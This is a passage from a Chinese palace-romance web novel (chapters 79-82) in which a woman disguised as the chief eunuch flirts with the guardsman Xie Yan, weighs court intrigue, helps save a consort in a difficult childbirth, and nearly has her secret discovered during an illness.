声线虽尚算得上平稳,但此刻蹙起的眉心已经出卖了解衍的波澜,“掌印不是先答应我,会好好考虑?” 反应了一会才反应过来他指的好好考虑是什么,白惜时终于明白这小子应该是……吃醋了? “你是不是想多了,我与滕烈就是朋友。” 她对滕烈没动过那方面心思,同样的,滕烈一看也是个钢铁直男。 再说也不是谁都跟解衍一个癖好,虽说她不是个真太监,但在旁人眼中她就是,谁没事放着那么多漂亮姑娘不喜欢,喜欢她一个太监? 白惜时真心觉得解衍多虑,但男子回答的却斩钉截铁,“掌印将他当朋友,但他不是。” 滕烈对白惜时什么心思解衍一眼就看得明白。同样的,滕烈也能看明白解衍。 被解衍笃定的口气笃定到自己都有两分质疑,白惜时仔细回想了一下,还是觉得不大可能,但偏偏面前之人又一脸严肃,就仿佛是那新婚郎君发现妻子在外头还藏了个男人。 忧郁上了。 意识到自己联想到什么便有些想笑,但此时若真笑出来又有点不大合时宜,白惜时遂半侧过身,不知在什么样的心情促使下,伸手挠了挠对方下巴,“那你说怎么办,小狗。” 被这声“小狗”一叫,解衍原本还微蹙的眉心瞬间拉直,整个人都愣在当场,可能是没想到白惜时会真的这样称呼自己,待反应过来,略带羞恼的看了白惜时一眼。 这回白惜时是真的笑了出来,她发现自己好像有点喜欢上了调戏解衍。 调戏纯情御前侍卫真解压啊。 不过下一刻解衍被她调戏的好像就不再那么冷静自持,甚至还顺杆爬迈近一步,直接环过双臂从身后微微用力拥住了白惜时。 将头靠近对方的肩膀,解衍深吸口气,“掌印在我面前,可否不要一直提别的男子。” 啧,还挺霸道。 感受到温热的胸膛贴向后背,寒冷冬夜,犹如被一层融融暖意包裹,这感觉其实不赖,因而便也没有立即推开他,白惜时反驳道:“我没提,是你在问。” 闻言轻叹了口气,解衍没再执着于这个话题,静静的拥着身前之人半晌,似是想要继续这样维持下去,目光盯向白惜时的左手,“红薯掌印还吃吗?” 低头看了眼已经发凉,顺带有些捏变形的红薯,白惜时:“不吃,你要吃?” “嗯。” 正当白惜时准备抬手递给他,又反悔想劝他还是吃些暖胃的东西,不想解衍却从已身后探过头,就着白惜时的手,就这么咬了一口。 吞咽混杂着水声顷刻间在耳畔响起,白惜时只要一侧头,旁边就是解衍那张放大的俊脸,莫名被这声音搅和的有些心乱如麻,吃个东西干嘛吃的这么……撩拨。 然而解衍在吃完一口后,似乎并没有察觉这红薯的冷硬,继续低下头来,又咬了一口…… 如此反复几次,白惜时基本可以可以确定,这小子应该是在勾引她。 而且很显然勾引的还有点成效,至少白惜时的左半侧都弥漫开了一种酥酥痒痒之感。 “好吃吗?”白惜时偏过头,好整以暇问了身后之人一句。 “嗯。” 闻言将手又抬高了两分,白惜时:“那就全都吃光。” 她倒要看看解衍还能撑到什么时候。 然而听完白惜时所说,解衍还真就这么一口一口专注又认真地吃着,仿佛吃的不是什么冷掉的红薯,而是美味佳肴。 夜里本来就静,两个人又是以这样相拥的姿势,看着他的喉结滚动,以及偶尔喷在自己手上的气息,白惜时连带着心跳都有些加速,不过好在不仅是自己,身手之人的心跳亦强健有力的跳动着。 浑身越来越热,被解衍烫的,男子虽仍旧一副平稳的模样,体温却升高的很快,白惜时觉得自己都快要流汗了。 再这样下去情况可不太妙,白惜时改为将手往回撤,“咱家胳膊酸了。” 然而就在白惜时准备放下之际,解衍突然伸出左手握住她的,继而用自己之力带着对方又重新抬起,倾身,越过白惜时的肩膀,张口继续咬下一块。 虽没有正面看向白惜时,仍专心致志吃着东西,但搂在白惜时腰间的那只手臂却顺带着收得更紧。 不受控制的随着这个动作,白惜时整个心房都跟着颤动了一下。 轻敌了,轻敌了,这家伙哪是什么腼腆小狗,分明是只坏狗! 白惜时反应过来便不会任凭解衍撩拨,凡事她向来喜欢掌握主动,适应眼下的姿势后,她微侧过身去,轻挑唇角,问了男子一句,“这么好吃?” 这回不待解衍答复,白惜时亦低头,转过手来,在解衍方才吃过的地方浅尝了一口。 “唔~有点凉了,咱家不喜。” 亲眼看见白惜时在那红薯上留下的一小块印迹,男子身体一僵,似是终于再难以延续那副专心致志的模样,转而看向白惜时,目光肉眼可见的深邃起来。 “这东西真的有这么好吃?”白惜时探究的又品位了下,继而就这么直白的望进解衍的眼睛里,“你是真喜欢红薯,还是喜欢的另有其他?” 解衍不说话了,红薯也没有再吃,抿唇望向白惜时。 然后,白惜时便在这样的对视中……感觉到了一样东西,先前还没那么明显,眼下倒是存在感极强,那感觉挺新奇的,她顺势朝下瞥了一眼。 就是这一眼,解衍一下就松开了白惜时,紧接着整个人都显得有些不自然,后退一步,扭头莫名清了清嗓子。 极有良心的没再拆穿,白惜时跨过一步,迎着解衍的目光,从他手中抽回那张深蓝色的帕子,好整以暇擦了擦唇角,又慢悠悠塞回对方手中。 眼看拿捏的差不多,白惜时愉悦一笑,本就昳丽的五官越发明艳动人,“时间不早,咱家这便去睡了。再会,探花郎。” — 第二日回宫的时候,解衍难得没有跟着白惜时一起,不过这次白惜时倒不太在意,毕竟昨晚之事回想起来还是让人觉得有些脸红心跳。 估计解衍那家伙也觉出不好意思,夜幕下的私密暧昧,到了白日便有些难以启齿,何况乎二人眼下最多算是不清不楚的关系,再一同乘马车回宫,想想空气都会凝结。 不过白惜时不在意,反倒有人在意,彭管事见解衍一反常态没有跟着,还以为他是病了,遂送走掌印便顺道去了趟解衍的院子。 “解公子,这么早就起来收拾屋子,洗床单啊。”一跨进月洞门便看见男子,彭管事高兴打了声招呼。 解衍面色如常,又看了眼还是半黑的天空,“嗯,今日阳光应当不错。” “唉,解公子要我说您就是什么事都太亲力亲为,洗东西这种事说一声,交给那些婆子丫鬟们便是,哪要劳烦您自己操心。” 说完便往那盆子中看了一眼,“您看看,帕子哪能与床单放在一块洗,帕子是贴身之物,应当分开。” 说着便好心想要帮他将那深蓝色的巾帕捞出来,但解衍抢先一步,动作略微有些急切从水中拿起,“多谢提醒。” 彭管事闻言摆了摆手,冲解衍只可意会不可言传的一眨眼,“都是男子,正常现象。下次解公子若是不好意思交给那些小丫鬟,交给婆子们清洗就行。” “……” 待彭管事走后,解衍独自于院中立了片刻,等兀自消化掉那股羞窘的情绪,男子才重新打水,认认真真去搓洗那一方巾帕。 第80章 第80章 白惜时回到宫中不久,曾江便安排了千闵来找白惜时,并带来了秉笔周子良、西厂邹龙春的一系列罪证,意图很明显,被人摆了一道“厂卫联合”,以曾江对白惜时的了解,掌印亦不是什么打落牙齿和血吞之人,自然要找到把柄反击回去。 看完千闵查探的奏报,不得不说,周子良比邹龙春要谨慎许多,若是想要打击报复邹龙春,将手头这些罪证呈上去,白惜时有七、八成的把握将他拉下现在的位置,但眼下显然不是合适的时机。 拉下邹龙春,只会加深俞贵妃与自己之间的矛盾,而这应当正是太后、皇后乐见其成的。 再对比周子良的情况,此人精明低调,在内宦群体中算得上是个“老好人”,而他本身也并没有什么特别受人指摘的地方,有问题的也是其族中亲友仗着他如今的势力在外头占了些便宜。 也就是说,这些罪证无法动摇周子良的根基,更何况,他背后还有大靠山。 看完这些,千闵还告知白惜时,说是已查明本次给邹龙春送出“厂卫联合”密报的就是周子良的人,白惜时转念一想,可能在俞贵妃现在的认知里,周子良是以此事向她投诚,她甚至会认为周子良也是半个她的人。 想到这,不得不感叹太后、皇后手段之高明。 按下密报,白惜时看向千闵,“告诉曾江先按兵不动,这些东西还没到合适的时机。” “是。” 千闵离开前,白惜时又询问了番他近来的情况,以及与曾江相处的如何,其实白惜时的本意是将东厂交给千闵,毕竟千闵稽查手段了得,最适合接任东厂厂督,不过经由上次弹劾之事打乱,倒是叫千闵如今止步不前。 担心他心中会有失落,白惜时甚至询问了他可有来司礼监的打算,然而千闵听完敬谢不敏,“掌印,属下一看见那些文章奏折就头晕,还是留在东厂比较合适。” 看他这情况,相当与曾江相处的还算融洽,“好,那便与曾江好好相处,如今他是厂督,切不可仗着你在东厂的资历行不敬之事。” 千闵:“掌印放心,属下省得。” 几日之后,滕烈同样给白惜时递来消息,那便是锦衣卫那边也已查明,祈王与太后的疏远便是发生在定国公谋反之后,原先每个月都要定时向太后请安之人,便开始以身体抱恙的借口不再进宫。 若是祁王真正参与了谋反,那么这种情况有可能出自两个原因,一是祈王心虚胆寒,怕被太后发现端倪不敢再进宫;而第二种可能便是,祁王还有其他的同盟,定国公被斩杀之事使他受到前所未有的惊吓,因而想要提前割裂这段同盟关系,寻求自保。 太后,会是祈王的同盟吗? 此事尚且不能下定论,白惜时知道甚至连向皇帝禀报都为时尚早,一个是天子的兄弟,而太后虽不是天子的生母,但皇帝为表仁孝对太后也从来都尊敬有之,若是贸然禀报,并不是明智之举。 还得探明更多的证据,再做下一步打算。 朝堂后宫暗流涌动,但至少明面上维持了一段时间的太平,怡妃受到太后、皇后庇佑,孕期后期一切顺遂,眼下生产在即,众人也都在期待着她能给大魏朝诞下一位皇子。 而眼看就要岁末年初,春节也在临近,不管各人背后心思如何,至少明面上均呈现出了一派喜气洋洋的氛围。 都说瑞雪兆丰年,今年京中风雪比往常要盛,希望来年会是个风调雨顺的好年头。 思及此从窗边收回视线,这个时候江小锁欢欢喜喜走进了司礼监内堂,白惜时问了一句,“都送过去了?” “是,掌印。公主还让徒儿替她问掌印安。” “嗯。” 白惜时关上窗户,重新回到案几前坐下。自发现周子良有异动,她便没有再让端静长公主来过司礼监,公主本就处境艰难,如今太后又隐隐有针对自己之意,若是被人发现公主与自己走得近,怕是只会给她带去不必要的麻烦。 不过入冬之后天气寒凉,小公主不受宠,炭火用度难免短缺,她便时不时会让江小锁想法子辗转给她送去一些。 小锁机灵,办这种事最为牢靠。 “对了,掌印,公主还告诉徒儿,说是先前她在慈宁宫碰见过几回周秉笔。” 闻言蹙起眉头,白惜时:“公主主动与你提起的此事?” 江小锁:“是,徒儿谨遵掌印教诲,什么都没有向公主提过。” 若是如此,端静公主无异于在向白惜时报信,小公主很聪明,看来通过近来之事已经猜到了自己与秉笔之间的龃龉。 不过她托小锁带来的这一句话,也确实更坚定了白惜时对周子良的猜测,那便是比起是皇后的人,周子良应当更像是太后之人。 独自坐于案前思量片刻,再一抬头时,见小锁还站于自己对面,正两只眼睛亮晶晶地望向自己。 白惜时:“还有事?” 江小锁露出个讨好的笑脸,“掌印,徒儿听元盛掌事说,今日和明日都有禁卫军的武比在英武殿进行,下午若是无事,徒儿和赵岳可不可以也过去看看?” 白惜时知道此事,前段时间听元盛提起过,只是忘记了就在这两日。 提及禁卫军,白惜时多问了一句,“都有哪些人参加比试?” “各个卫所挑出来的精兵强将。”少年人对这种武斗似是天生就有一种向往和热血,江小锁也不例外,继而像是想起来什么,补充了一句,“对了,元掌事说解大人也会参加。” “正好可以去给解大人加油。”江小锁笑眯眯的,他隐隐觉得提到解大人掌印同意的几率应当更大。 白惜时没扫少年人的兴,听后一点头,“去罢,记得就在旁边看着,莫要被误伤。” “是。” 江小锁得到应允后便一溜烟跑了,应当是急着把这个好消息告诉赵岳去了。 解衍也会参加? 白惜时看了眼窗外,好像隐约也听男子提过一回。 不过近来解衍应当是脸皮薄,没有再告知她准确的比试时间。自那夜之后,男子虽每日还是会来司礼监,却没有再留宿过,且来了就帮白惜时处理政务,替她把奏折中的重点提前挑出来节约时间,继而快到落钥的时间就会离开,没有什么逾矩之举。 思及此兀自笑了笑,招来汤序将处理完的奏折搬走,白惜时起身,转而去了趟勤政殿。 下午的政事不多,随堂听完之后天还亮着,皇帝去了后宫看望怡妃,白惜时便没有跟着,回程的途中恰遇上元盛,他如今已是御马监掌事,恰掌腾骧四卫营及马匹、象房,此次比武就是经由御马监发起,得知白惜时眼下得空,元盛便热情邀请她同去英武殿一观。 闻言并未推辞,白惜时正好也想去看看。 一走进殿,抬手叫罢预备高声通传的小太监,白惜时与元盛一起走去上首,于高台之上坐了下来。 没过一会发现掌印竟也到场,小锁叫上赵岳兴高采烈走到近前,紧接着伸手向场下一指,“掌印,您看,那个穿着衣服的就是解大人。” “……” 江小锁之所以这么说,其实也有他的道理。 放眼望过去,虽眼下正值隆冬,但因是殿内比试又都是近身肉搏,确实许多人为了不影响发挥,也避免热汗打湿衣襟难受,都选择脱下厚重的棉衣光膀子上阵。 且需知禁卫军,特别是御前侍卫那便是皇家仪仗,一水的五官端正、猿臂蜂腰大长腿,这个时候再一齐将上衣脱下……怎么说呢,那场面挺震撼的,白惜时都没想到会是这样的景致。 唔~元盛这事办的……明年姑且同意他再办一场。 经由小锁指引,白惜时很快于人群中找到解衍,不过读书人毕竟是读书人,即便在场均是男子,他亦顾着礼仪体面,身着一件薄衫,全身上下与其他人比起来都要更加规矩整齐。 也还是那么显眼,犹如山涧青松,即便动起武来也自带一股俊逸从容,出手敏捷,不轻敌亦不畏敌,几十个回合下来沉静依旧,最后一击将对手击倒在地之后亦不骄不躁,待判定完成,长腿一迈,走过去便将对手从地上拉了起来。 解衍一直都很稳,特别是在白惜时看不到的地方。 眼见解衍赢下一局,小锁十分捧场的欢呼起来,董飞听见声音,走过去拍了把解衍的肩膀以示庆贺,顺带又伸手向他指了指高台之上。 解衍转身循着指引望过去,一眼便看见了上首的白惜时,夺目明艳,只不过此刻对方的视线并未停留在他的身上,而是面带微笑,正与元盛讨论着另外一场比试。 确实解衍的比试一结束,元盛便指了相邻的一场叫白惜时去看,那是元盛近来发现的一位好苗子,想要进一步挖掘培养。 白惜时、元盛都是懂武之人,真正研究起来便目不转睛,评判他反应的速度,进攻防御能力,以及体格招式适用于什么样的兵器。 待那男子比试完,得知掌印和元管事方才都在看他,应当是有赏识之意,那年轻的侍卫高兴非常,在场下就给二人抱拳行了个礼。 白惜时:“瞧着是个可塑之才。” 元盛闻言,一招手,干脆直接将人唤了上来。 那年轻的侍卫可能一时激动亦没多想,怕两位久等,连衣衫都未重新套上便快速跑了上来,继而就这么肌肉喷张的,停在白惜时面前。 ……也太没拿自己当外人了。 不过很快将视线移到对方的肩部以上,倒不是白惜时内心多么正经,主要是太壮实的她也不喜欢看,相比起来她还是觉得解衍那种穿衣显瘦、脱衣有肉的比较有看头。 啧,可惜解衍那小子太矜持,今日也穿得板板正正,有些遗憾。 期间基本上都是元盛在与那人交谈,外人面前白惜时仍是那副高高在上的掌印模样,直到离开白惜时才冲那侍卫一点头,算是认可他今日的表现。 不过只这一点头似乎也够那侍卫的兴奋不已,掌印的肯定便代表日后的重用,这个道理很多人都知道。 解衍在下方算是完完整整望见了方才一幕,甚至因为部分视线的遮挡,他亦不知道白惜时在与那侍卫交谈时,视线落于何处。 男子垂下眼睑,覆盖心头思绪,亦让人不知此刻他究竟在想些什么。 莫名觉得气压有些低,董飞观察了一眼好兄弟的神色,问了一句,“解兄,你后背都汗湿了,要不要再去换件衣衫?” 解衍爱干净,基本上比试完一场,若出汗太多便会去更换一次。 “嗯。” 答复过后便抬步往高台上走去,解衍长腿一迈便是三阶,待走近白惜时之后,他目光掠过正中心之人,朝后头说一了声,“小锁,衣衫给我一件。” 解衍的衣衫配饰先前是让江小锁和赵岳帮他看管。 闻言一拍脑袋,江小锁:“糟了我给忘在下头了,解大人对不住,您稍等一会,我这就下去给您拿。” “有劳。” 在江小锁下去的空档,本以为男子会就这般耐心等待,没成想这次他却直接当着白惜时的面,双手一捞脱下上衣,继而用汗湿换下的衣衫随手拭去身上的汗珠,丢在白惜时身旁的椅凳之上。 继而用眼神示意了眼那空位,“掌印,有人?” 看了一眼椅凳上的衣衫,又看了眼男子,白惜时:“没有” ……她刚才遗憾的是什么来着? 闻言没再说话,男子同样回看了白惜时一眼,继而腰背挺直,干脆利落坐了下来。 80-90 第81章 第81章 白惜时看了两眼,收回目光,估摸着解衍是受了什么刺激,突然就放得开了,不仅放得开,他还挡白惜时的视线。 大庭广众之下,白惜时既然是来看比武的,便不可能只盯着一个人,这个时候小锁已经帮解衍将衣衫拿上来,男子起身披起外衣之际,搭在衣衫上的香囊恰好掉落在了白惜时的另一侧。 男子躬身去捡,顺带着把白惜时的视线遮挡的严严实实。 毫无防备,一个大活人就这么挡在自己面前,还是如此“热气蒸腾”的模样,白惜时不动声色浏览了两眼,才问了句,“在找什么?” 解衍:“香囊,去年孟姑姑送的那只。” “还没找到?” 等了一会,白惜时:“那往边上去些,别挡住咱家视线。” 闻言动作一顿,继而连香囊都不捡了,解衍整个人直起上半身转过头来,定定望向白惜时。 见他这副模样,白惜时靠回椅背,顺带示意了眼场下,“怎么,我不能看?” 白惜时:“只能看你?” 她说这话的声音不大,只限于两人听见,其他人关注着场上比试亦没有注意。 但顾及着还有元盛在场,解衍没有直接作答,此刻男子完全直起腰身,面色认真,一副要与白惜时商讨正事的架势,就是衣衫尚未系起,垂落在身侧显得说服力欠缺了一些。 “掌印,可否借一步说话?” 白惜时煞有介事的思考了片刻,继而起身,随解衍走远了一些,走到周围再没有旁的人。 “什么事,说罢。” 高台的拐角处是解衍与白惜时二人,场下的侍卫倒是看不真切上头的情况,只当是解衍立于掌印面前正在禀报什么事项,却不想四目相对,男子又是许久的缄默不言。 但此刻的缄默不言更像是无声胜有声,白惜时完完全全知道他在想些什么。 遂等了一会,见解衍仍旧是只盯着自己不说话,白惜时意在催促,便用卷成一个筒的书卷,戳了对方一下。 因衣衫尚未系好,所以这一戳,理所因当戳在了男子的肌理之上。 也正是因为这一戳,错愕怔愣下男子原先还略微严肃的气场亦被刹那间打破,整个腰都下意识向后闪避,像是怕痒,又像是害羞。 解衍抬眸,欲言又止的看了白惜时一眼。 这反应出乎白惜时的意料,第一次若说是催促,那么这一次不知是出于什么原因,动作快过大脑,白惜时伸手,又戳了一下。 只不过男子这回同样有所防备,书卷的另一段很快被他握于手中,继而看了一眼左右,片刻之后,隐晦对白惜时说了一句——“人多。”? 那若是人不多? 仗着有解衍遮挡,白惜时的疑问就写在脸上,男子在她直白的疑问下移开目光,虽耳根泛红,说出的声音倒还是一如既往的平稳,“算了,回去再说。”?? 白惜时:“回去再说,还是回去再戳?” 她没听清。 不过即便没听清白惜时亦不至于分辨不出他想要表达的意思,但此时此刻莫名的恶劣涌上心头,致使她如此这般问了一句 抿唇,强作镇定,解衍又重复了一遍,“再说。” 不得不承认隐忍着羞窘的探花郎简直是精准踩在了白惜时的某个点上,努力压下想要上扬的唇角,白惜时一点头道:“可。” 现下这么多双眼睛望着,不适合再与解衍说这些似是而非之语,白惜时亦见好就收,心情颇佳的往回走,只不过走出两步,又被身后的男子叫住。 “掌印,晚些我去暖阁寻你。” “嗯。” 简短的对话,二人基本上已经达成默契,那便是解衍今夜会于司礼监留宿。 从英武殿出来的时候,尚在听元盛禀报又瞧出了哪几个好苗子,白惜时心态亦算得上放松,只不过没多久便有小太监赶过来通传了一件事,很快打破了整个后宫的宁静。 那便是怡妃娘娘见红,眼看便快要生产,但据接生的产婆说娘娘胎位不正,恐有难产的风险。 而皇帝皇后此时也已赶到钟毓宫等候消息,闻言白惜时略一思量,紧跟着叫那小太监带路,亦朝后宫走去。 孩子生产她其实帮不上什么忙,但身为掌印有职责伴于天子左右,尤其是当他焦急不安之时。 白惜时知道皇帝很期待这个孩子,亦期待怡妃能为他顺利诞下一位皇长子。 当白惜时赶到,这个时候天已经完全黑了下来,简要询问了一下情况,便抬步去了主殿,果然皇帝此刻正握拳负手而立,是一副隐隐紧张的模样。 但一直从傍晚等到深夜,怡妃娘娘的一声声痛呼惨叫传来,却始终未闻顺利生产的消息,整个钟毓宫的气氛也愈发焦躁,到了快要破晓之时,怡妃娘娘的声音都已然开始有气无力,这个时候便有太医和产婆战战兢兢来报,隐晦询问天子保大还是保小之意。 怡妃娘娘怕是生不出来了。 闻言将手中的茶盏直接狠掷于地面,发出“嘭”的一声巨响,皇帝怒道:“两个都要保,不要问朕这种无能的问题!” 太医和产婆被这一声吓得连连擦汗,最后白惜时的示意下,才小心翼翼退了出去。 太后没过多久亦闻讯赶了过来,慈眉善目的老者先是劝慰了天子一番,继而一边转动着手中的佛珠,一边念着佛祖庇佑大魏福泽绵延,好像什么都没说,又好像什么都说了。 期间皇后似乎还想要以更直白言语劝谏皇帝以子嗣江山为重,但在莫名望了太后一眼后,停住了话头。 没错过那二人短暂的视线相交,白惜时看得心寒也听得心寒,太后这是断定最后若只能二择其一,皇家还是会选择保住龙嗣。 因而没必要多言去做那恶人。 但这一残忍的决定,不到最后一刻皇帝亦不愿去做。 女子的命就不是命吗?难道继承皇位就一定要是男子,再优秀的女子也不配坐上那把龙椅? 突然于这一刻有感而发,白惜时于心中问了自己这样一个问题。 而怡妃,又真的要因为生产送命? 正当白惜时眉目锁然之际,这个时候扶疏不顾外头阻拦,猛然冲进来跪在地上哭求,“奴婢,奴婢之前听闻京中有一产婆,可徒手转正胎位,求皇帝开恩,太后、皇后娘娘开恩,能许那产婆进宫一试,救一救怡妃娘娘的性命。” 说完小丫鬟便一个劲的磕头,仿佛根本不知道痛般,只盼着能尽力为娘娘寻得一线生机。 然而皇后听完却很快蹙起眉头,“民间之人怎可随意进宫,如此岂不乱了规矩?难道你要以那些道听途说之事来质疑皇家医术骂?” 太后慨叹一声,“这孩子瞧着倒是个忠心的,关心则乱罢了。” 但相比于这二人,白惜时却宁愿相信扶疏,是生是死,总要拼命尝试过才能够知晓。 不过这次没等到白惜时开口,天子沉默片刻,已然大手一挥,“准了,去请。” 闻言倏然抬头,扶疏激动的立刻落下两行清泪,“是!” 眼看着扶疏得令就要小跑着出钟毓宫而去,天子此刻招来白惜时,二人低声交谈了几句,继而白惜时一行礼踏出主殿便快步追了出去,于后头叫住行色匆匆的小丫鬟。 “扶疏姑娘,回去陪着娘娘,那产婆咱家替你去请。” 按住有些隐隐作痛的胃部,从中午后就未有进食,又站着吹了一夜冷风,此刻白惜时其实已觉出两分难受。 但方才当皇帝询问他谁去请那产婆比较妥当之时,白惜时还是回答了自己。 当下时间紧迫,若是去通传元盛等人还要再费不少功夫,而白惜时亦不是担心扶疏找不到那产婆,而是以防有心之人刻意阻挠,途中拖延时间,延误了那所剩无几的救援时机。 她去,应当能够快上一些。 第82章 第82章 白惜时快马加鞭从宫外将产婆请入了钟毓宫,又经历了一个时辰左右,怡妃顺利产下了一名小皇子,母子平安。 皇帝大大松了一口气,露出为人父的欣喜表情,即便贵为天子,当亲手接过襁褓之中的小婴孩,仍不免紧张,转头去问产婆自己抱孩子的姿势是否正确。 钟毓宫中一派喜气洋洋,太后、皇后也围过来逗弄小皇子,下人们亦不停说着吉祥话,都想要在这个时候讨个彩头赏赐。 倒是怡妃因生产伤了元气,已经虚弱昏沉睡了过去,扶疏一个人守在娘娘床边,抓着她的手仍久久不肯松开。 这个时刻,仿佛也更能看清一个人的真心。 眼下天色已经大亮,先前因母子二人生死未卜没有心情进食,皇帝不吃饭,其他人亦不好提便陪着一起饿肚子,这个时候小皇子顺利诞生,小宫女们也很快将一应膳点端了上来。 白惜时站在殿外,简单喝了两口热粥,但胃里的灼热感并没有消减下去,应当吹了大半夜的风加之久未进食,长时间未犯的胃病又来问候她了。 这胃病是小时候三餐不定落下的毛病,自十四岁后便少有发作,白惜时险些都要遗忘,没想到却还是没有除根。 看了一眼托盘上的吃食,没什么胃口,继而又望见殿内仍陪着怡妃娘娘不愿去休息的扶疏,示意小宫女将膳食送进去给她,白惜时转身,出了钟毓宫的大门。 今日早朝推迟,还得去与大臣们通传一声。 得知皇帝喜得麟儿,前朝后宫大都是欢喜欣慰,只不过几家欢喜几家愁,俞贵妃触景生情, 反倒陷入了无限的忧伤嫉妒之中。 担忧自己于后宫之中的地位,也伤怀那个失去的孩子。她与皇帝也曾有过一个孩子,只不过尚未成形便化作了一滩血水,自此便再未有过身孕。 喝下谭永生进献而来的新药方,俞贵妃低头抚了抚自己的小腹,她实在太迫切的想要再给皇帝生下一位皇子,如此,方**耀永固。 不知后宫各人心思,白惜时从钟毓宫出来,便在前殿等候早朝,待到再次回到司礼监已是中午时分,胃痛加剧却还在可以忍受的范围之内,她没什么胃口却困得厉害,索性喝了些粥便准备午睡片刻。 待走入暖阁,才想起来昨夜解衍应该来过,只不过自己彻夜未归,倒是叫他白跑一趟。 一夜未睡不休息倒还好,休息片刻再起来反而头脑也跟着昏沉,撑着将下午的政事处理完,到了晚间,白惜时坐于内堂翻阅奏折之时,便真真有些腹痛难耐。 解衍来的时候发现了白惜时面色有异,得知她是胃疾发作,起身出门便要去请太医,然而没走两步,又被白惜时叫了回来。 白惜时:“不是什么大毛病,睡一夜便好,不用这般麻烦。” 身为掌印,其实请太医过来诊治不过一句话的事,解衍不知白惜时为何这般固执。 看着对方泛白的脸色,解衍走回来,蹲下身,“喝些药应当会好的快一些,疼痛也会所有缓解。” 白惜时:“咱家说不用便是不用,看完这最后两本折子扶我回去歇一歇便是。” 她怎么可能去请太医?她不会请。 闻言停了一会,解衍又道:“小时候柔云经常生病,我也略通些药理,掌印若信得过,我替你诊一诊脉可好?” 听完从折子中抬起眼,侧首看了看对方,“不用。” “就是小毛病,你何故如此兴师动众?” 她口中说得轻松,但却与额头渗出的冷汗形成了鲜明的对比。 白惜时好像很排斥就医,现在是,原来也是……思及此,解衍不动声色回忆起过往。 之前在东厂捉捕缉拿过程中难免受伤,但每一次白惜时都不当回事,只有严重了才会挨到回府叫来孟姑姑为他专门医治。 现在想来,为什么? 解衍不是迟钝之人,再一次记起白惜时那不同寻常的脉象,以及过于板硬的身躯,自任司礼监掌印后,他应当没有那么多时间练武…… 好像有什么答案就在触手可及之处,只要愿意仔细探寻一番就能知晓答案,甚至此刻走出去搭一搭其他小太监的脉象或许都可立时解开心中疑惑,但解衍没有。 他还是想要尊重白惜时的每一个决定。 发现此刻对方已将最后一本奏折合起,解衍起身帮他收好玉印,继而扶着白惜时进了暖阁,再走入卧房。 等到白惜时于床上半靠下,解衍又去外间倒了一杯送到了他的唇边,就着男子的手喝了几口,白惜时便整个人躺进了被褥之中。 不过躺下来还是不大舒服,那金丝甲硌的她难受,本来胃部的灼烧感就已经不适,这时候白惜时便想要周身松快一些。 但解衍眼下还在这里。 胃痛是一阵阵的,等挨过这一阵,白惜时看向男子,“你自去暖阁休息吧,我明天应当就能好上许多。” 但解衍却拒绝了,直言他今夜会守在这里,白惜时有什么需要也好叫他。 “……那你再去烧壶水。” 随便找了个借口支开解衍,白惜时只想趁这个空档脱下金丝甲,换身衣衫。 出门的时候似乎意识到了白惜时让自己出去的原因,解衍烧好水,又冲了一个汤婆子,回来之后男子却没有立刻进去,而是于暖阁之中怔然坐了会,待兀自消化掉猜测到的可能,又等了一会才走到雕花木门边轻叩了两下,没有听见声音,推门走了进去。 这个时候白惜时已经换上寝衣重新躺了下来。 将汤婆子递给白惜时欲叫她抱着暖一暖胃,但此刻新一轮的不适之感袭来,床上之人微蹙着眉头无暇去接,男子顿了片刻,改为将汤婆子直接塞入了被中。 只不过这一塞,手指不小心碰到了对方的腹部,虽然只是短暂的一触,但也足够告诉解衍一个事实——是软的。 上腹部与先前坚硬的触感完全不同。 手指犹如被烫了下,男子很快从被子之中抽了出来,并且在此之后的很长时间内右手都保持着微蜷的姿势。 双眸微移,又仔细观察了一遍白惜时的五官,很明艳,也秀丽。 卧房里的地龙还是很热,白惜时缓过那一阵后流了不少的汗,下意识便将手脚伸出被外,唯留一部分遮掩住上半身。 解衍看了片刻,大概是觉得这样的姿势容易着凉,遂倾身,将白惜时的腿缓缓塞了进去,塞完腿又塞胳膊,待盖好四肢,又向上看了一眼,捏了捏拳,最后双手拉着最上头的被面一提,直接提到了白惜时的脑袋之下,将整个人覆盖的严严实实。 白惜时被他盖的浑身冒汗,莫名其妙瞥了眼对方,紧接着烦躁一翻,将原先盖好的四肢又打了出去。 他以为孵小鸡呢,给她裹得跟木乃伊似的。 “咱家是胃疼,不是风寒。” 这回解衍不逆着白惜时来了,但看见那白皙的脖颈裹着几颗晶莹的汗珠向锁骨滑去,视线又不动声色飘开,最后想了想,还是坚持把对方胸膛上的被面拉高了两寸,直拉高到脖子以下。 如果说解衍的第一次举动是担心自己着凉,那么第二次,就显得反常。 其实在内心之中已将解衍划分在安全范围内,白惜时既然在认真考虑这个人,那么若是接受,以后迟早是要让他知道自己的真实身份。因而她对解衍已经没有那么避讳防备,若是避讳,此刻便不会让解衍坐在卧房。 但不避讳是一回事,主动相告又是另外一回事。 现在在她看来还不是合适的时机。 不过解衍明显已有察觉端倪之像,白惜时待忍过那一阵灼烧之痛,侧过身来,无声望向解衍。 “怎么了,可是疼的厉害?”然而解衍脱口而出的,却是这么一句话。 “没有,好些了。” 白惜时以为解衍会有话想要问她,会想要求证个明白,但是解衍没有,在看出她眼中的疲惫和困倦后,一个字都没提。 靠近,蹲下身来,让视线与白惜保持齐平,男子伸出手,将她额前有些汗湿的碎发拨于两旁,“那便睡吧,有事唤我。” 这样亲近温柔的举动仿佛连带着叫嚣的胃痛都抚平下去不少,但白惜时闭上眼后,没过多久,复又睁开。 四目相对,白惜时:“你这样一直看着我,怎么睡?” 闻言没说话,解衍拉起白惜时的手,用它盖住了自己的眼睛之上。 “无聊。”下意识笑了一声,白惜时想要抽回手。 但解衍却没有松开,反而握在掌心,攥得更紧,“为何我看着,掌印就会睡不着?” 对上男子望过来的漆黑色双眸,白惜时:“谁看着我都睡不着,小狗,不要想太多。” 再一次听到“小狗”这个称呼,解衍仿佛适应了许多,继而低头快速在白惜时的手背上吻了一下,才若无其事起身,“我去熄灯。” 感受到手背上传来温热还略带些湿润的触感,白惜时茫然片刻,紧接着按住骤然收缩了两下的心口,对着男子的背影道:“白日就算了,以后大半夜不要再来撩拨咱家。” 解衍一时没听明白,回头,“白日怎么了?” 一边用汤婆子焐着胃,一边打了个哈欠,白惜时意有所指的往男子身躯上瞄了一眼。 “你在英武殿有什么话要等着同咱家回来说?” 此刻已然反应过来,解衍一抿唇,又是那副强作镇定的模样,“没什么。” 当时是见不得她去看别人,一时冲动换了衣衫,但眼下,却又说不出口了。 何况还是在白惜时病着的情况下。 